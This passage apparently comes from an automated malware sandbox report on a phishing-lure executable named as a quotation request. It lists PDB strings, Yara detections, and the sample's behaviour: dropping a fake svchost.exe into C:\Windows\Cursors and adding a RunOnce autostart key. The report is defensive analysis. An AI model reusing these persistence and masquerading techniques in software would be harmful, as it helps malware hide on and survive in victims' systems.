Source:	Binary string: shcore.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: System.Core.ni.pdb% source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000012.00000003.756024050.00000000053A0000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: System.Core.ni.pdb" source: WerFault.exe, 00000012.00000003.755210087.0000000005224000.00000004.00000001.sdmp
Source:	Binary string: System.Core.ni.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.pdbb source: WerFault.exe, 00000012.00000003.754741655.0000000005222000.00000004.00000001.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: dnsapi.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: rasapi32.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.820358709.000000000070C000.00000004.00000020.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdb> source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: System.Xml.ni.pdbT source: WerFault.exe, 00000012.00000002.815185277.00000000054E0000.00000004.00000001.sdmp
Source:	Binary string: diasymreader.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: winhttp.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: imagehlp.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: ntasn1.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: Windows.StateRepositoryPS.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.ni.pdb% source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: System.ni.pdbT3 source: WerFault.exe, 00000012.00000002.815185277.00000000054E0000.00000004.00000001.sdmp
Source:	Binary string: rtutils.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: System.pdbx source: WerFault.exe, 00000012.00000002.815185277.00000000054E0000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000012.00000003.723018344.0000000000A54000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc6.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: System.Xml.ni.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000012.00000003.756024050.00000000053A0000.00000004.00000040.sdmp
Source:	Binary string: WLDP.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: clrjit.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: cabinet.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: System.Xml.pdb1 source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: rasman.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: msvcr120_clr0400.i386.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: ncryptsslp.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: unpRiVisualBasic.pdb source: svchost.exe, 00000015.00000002.911460686.0000000000757000.00000004.00000010.sdmp
Source:	Binary string: wmswsock.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: version.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: wintrust.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: System.Xml.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: System.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: WerFault.exe, 00000012.00000003.755405590.000000000523E000.00000004.00000001.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000012.00000003.756024050.00000000053A0000.00000004.00000040.sdmp
Source:	Binary string: psapi.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: fwpuclnt.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: ntmarta.pdb@, source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: cldapi.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: rawing.pdb" source: WerFault.exe, 00000012.00000003.755210087.0000000005224000.00000004.00000001.sdmp
Source:	Binary string: System.Core.pdbx source: WerFault.exe, 00000012.00000002.815185277.00000000054E0000.00000004.00000001.sdmp
Source:	Binary string: wkernelbase.pdb( source: WerFault.exe, 00000012.00000003.727663057.0000000000A66000.00000004.00000001.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000012.00000003.754474634.00000000053A2000.00000004.00000040.sdmp
Source:	Binary string: mscoreei.pdb source: WerFault.exe, 00000012.00000003.754474634.00000000053A2000.00000004.00000040.sdmp
Source:	Binary string: System.Drawing.pdbx source: WerFault.exe, 00000012.00000002.815185277.00000000054E0000.00000004.00000001.sdmp
Source:	Binary string: System.Core.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: cryptbase.pdb_ source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: combase.pdbk source: WerFault.exe, 00000012.00000003.754474634.00000000053A2000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: System.Windows.Forms.pdbx source: WerFault.exe, 00000012.00000002.815185277.00000000054E0000.00000004.00000001.sdmp
Source:	Binary string: OneCoreUAPCommonProxyStub.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdbk source: WerFault.exe, 00000012.00000003.754474634.00000000053A2000.00000004.00000040.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdbT source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.820358709.000000000070C000.00000004.00000020.sdmp
Source:	Binary string: svchost.PDB source: svchost.exe, 00000015.00000002.911460686.0000000000757000.00000004.00000010.sdmp
Source:	Binary string: msasn1.pdbh- source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: System.ni.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: edputil.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: crypt32.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp

Data Obfuscation:

Binary contains a suspicious time stamp

Show sources

Source: initial sample

Static PE information: 0xFABC5879 [Sun Apr 22 01:10:17 2103 UTC]

Yara detected Beds Obfuscator

Show sources

Source: Yara match	File source: 00000018.00000002.943797908.000000000406C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.918746756.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: REQUEST FOR QUOTATION 4675674665.exe PID: 4284, type: MEMORY
Source: Yara match	File source: 24.2.svchost.exe.406ce98.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.REQUEST FOR QUOTATION 4675674665.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.svchost.exe.40d02b8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.svchost.exe.40d02b8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.svchost.exe.406ce98.6.raw.unpack, type: UNPACKEDPE

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06060444 push 8B000003h; iretd	15_2_0606044C
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Code function: 21_2_00E254DF push esp; ret	21_2_00E254F1
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Code function: 21_2_00E25918 pushad ; iretd	21_2_00E25919
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 37_2_02E912A1 push es; ret	37_2_02E912B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 37_2_07AF67E1 push es; ret	37_2_07AF67EC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 37_2_08069158 push esp; iretd	37_2_08069159

Persistence and Installation Behavior:

Drops PE files with benign system names

Show sources

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

File created: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe

Jump to dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: C:\Windows\explorer.exe

Executable created and started: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

File created: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe

Jump to dropped file

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

File created: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe

Jump to dropped file

Boot Survival:

Creates an autostart registry key pointing to binary in C:\Windows

Show sources

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce ehYIhwFobKjypAJkKuyEqsfXIdEiD

Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce ehYIhwFobKjypAJkKuyEqsfXIdEiD	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce ehYIhwFobKjypAJkKuyEqsfXIdEiD	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce ehYIhwFobKjypAJkKuyEqsfXIdEiD	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce ehYIhwFobKjypAJkKuyEqsfXIdEiD	Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
